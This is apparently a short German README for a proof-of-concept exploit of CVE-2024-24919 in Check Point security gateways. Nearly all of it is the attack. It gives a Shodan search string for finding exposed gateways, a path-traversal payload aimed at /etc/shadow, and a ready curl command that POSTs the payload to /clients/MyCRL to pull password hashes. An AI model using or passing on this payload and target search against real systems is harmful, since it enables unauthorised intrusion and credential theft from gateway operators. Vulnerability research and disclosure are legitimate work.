CVE-2024-24919_POC

Es ist ein Proof of Concept für CVE-2024-24919-POC, den ich erstellt habe, nachdem es entdeckt wurde.

CVE-2024-24919 Checkpoint-Sicherheitsgateway-Schwachstelle zur Offenlegung von Informationen . Du kannst es in Notion-CVE-2024-24919_POC sehen.

Shodan-Dork:

title:"Check Point" "Server: Check Point SVN" "X-UA-Compatible: IE=EmulateIE7"

Payload

aCSHELL/../../../../../../../etc/shadow

• im Pfad 💡 https://Host/clients/MyCRL > Ersetze Host durch die ursprüngliche IP

Befehl im Terminal

mit curl, um eine Shadow-Datei für Passwörter zu erhalten

curl --path-as-is -i -s -k -X $'POST' -H $'Host: 127.0.0.1' -H $'Content-Length: 39' -H $'Connection: keep-alive' --data-binary $'aCSHELL/../../../../../../../etc/shadow' $ 'https://127.0.0.1/clients/MyCRL'

Wenn du weitere Informationen benötigst, gehe zuerst zur Notion-Seite .

Weitere Write-ups ansehen Notion-Link-Write-ups

Kontaktiere mich hier klicken